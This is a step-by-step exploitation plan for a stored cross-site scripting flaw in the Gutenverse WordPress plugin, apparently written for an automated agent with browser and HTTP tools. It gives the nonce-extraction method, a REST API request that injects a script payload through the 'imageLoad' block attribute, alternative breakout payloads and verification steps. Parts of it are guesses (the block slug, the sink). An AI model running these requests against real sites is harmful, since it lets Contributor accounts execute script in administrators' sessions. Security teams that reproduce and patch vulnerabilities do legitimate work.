Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem <= 3.4.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'imageLoad'

This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the Gutenverse plugin (CVE-2026-2924). The vulnerability is accessible to authenticated users with Contributor permissions or higher via the imageLoad block attribute.

1. Vulnerability Summary

The Gutenverse plugin for WordPress fails to properly sanitize and escape the imageLoad attribute used in one of its Gutenberg blocks (likely the Image Box or a related image block). Because Gutenberg block attributes are stored as JSON-encoded data within the post_content, a Contributor-level user can inject a malicious payload into this attribute. When the post is rendered on the frontend or previewed by an administrator, the payload is executed in the context of the victim's session.

2. Attack Vector Analysis

• Endpoint: /wp-json/wp/v2/posts (WordPress REST API) or the post.php admin interface.
• Vulnerable Parameter (Attribute): imageLoad within a Gutenverse block (e.g., gutenverse/image-box).
• Authentication: Required (Contributor+).
• Preconditions: The Gutenverse plugin must be active. The attacker must be able to create or edit a post.

3. Code Flow

1. Input: A Contributor creates or updates a post containing a Gutenverse Gutenberg block. The block markup looks like this: <!-- wp:gutenverse/image-box {"imageLoad":"[PAYLOAD]"} /-->.
2. Storage: WordPress saves the raw block markup into the post_content column of the wp_posts table.
3. Processing: When the post is viewed, WordPress parses the block. The Gutenverse plugin's PHP rendering logic (likely a render_callback) retrieves the imageLoad attribute from the $attributes array.
4. Sink: The plugin echoes the value of imageLoad into the HTML output (likely as an attribute or part of a script initialization) without calling esc_attr(), esc_html(), or wp_kses().
5. Execution: The browser interprets the injected script, resulting in XSS.

4. Nonce Acquisition Strategy

To update a post via the REST API as a Contributor, a REST API Nonce is required.

1. Navigate: Use browser_navigate to go to the WordPress Dashboard (/wp-admin/index.php) as the Contributor user.
2. Extract: Use browser_eval to extract the nonce from the global wpApiSettings object:
   • browser_eval("window.wpApiSettings?.nonce")
3. Alternative: If the REST API is restricted, the nonce can be found in the post.php editor page under the variable _wpnonce.

5. Exploitation Strategy

The goal is to inject a payload into the imageLoad attribute of a Gutenverse block.

Step-by-step Plan:

1. Identify Block Name: Based on assets/css/frontend/image-box.css, the most likely block slug is gutenverse/image-box.
2. Prepare Payload: Use a standard attribute breakout payload.
   • Payload: "><script>alert(document.domain)</script>
   • JSON-safe version: \"><script>alert(document.domain)</script>
3. Create/Update Post: Send a POST request to the REST API to create a new post with the malicious block content.

Request Details:

• Method: POST
• URL: http://[TARGET]/wp-json/wp/v2/posts
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body:

  {
    "title": "XSS Test",
    "status": "draft",
    "content": "<!-- wp:gutenverse/image-box {\"imageLoad\": \"\\\"><script>alert(document.domain)</script>\"} /-->"
  }
  

6. Test Data Setup

1. User: Create a user with the contributor role.
2. Plugin: Ensure Gutenverse (slug: gutenverse) is installed and activated.
3. Post: (Optional) Identify an existing post ID that the contributor has permission to edit.

7. Expected Results

1. The REST API should return a 201 Created or 200 OK response.
2. When an Administrator views the "All Posts" screen and clicks "Preview" on the contributor's draft, an alert box showing the document domain should appear.
3. The HTML source code of the rendered page should contain the raw payload: <div ... data-image-load=""><script>alert(document.domain)</script>" ...> (or similar placement).

8. Verification Steps

1. Check DB: Use wp post get [ID] --field=content to verify the payload is stored in the database exactly as sent.
2. Check Frontend: Use the http_request tool to fetch the preview URL or the published post URL and grep for the script:
   • http_request(url="http://[TARGET]/?p=[ID]&preview=true", method="GET")
   • Verify the existence of <script>alert(document.domain)</script>.

9. Alternative Approaches

• Different Blocks: If gutenverse/image-box is not the correct slug, check for other image-related blocks by running: wp eval "print_r(WP_Block_Type_Registry::get_instance()->get_all_registered());" | grep gutenverse.
• Attribute Context: If the imageLoad attribute is rendered inside a JavaScript string (e.g., initBlock({load: 'VALUE'})), change the payload to: ');alert(1);//.
• Classic Editor: If the block editor is disabled, use the standard wp-admin/post.php interface with the block markup in the raw text editor.
• Bypass Nonce: If nonces are strictly enforced and the REST API is unavailable, the Contributor can simply use the standard WordPress Dashboard UI to create a post and insert a "Custom HTML" block, though the vulnerability specifically targets the imageLoad attribute of a Gutenverse block.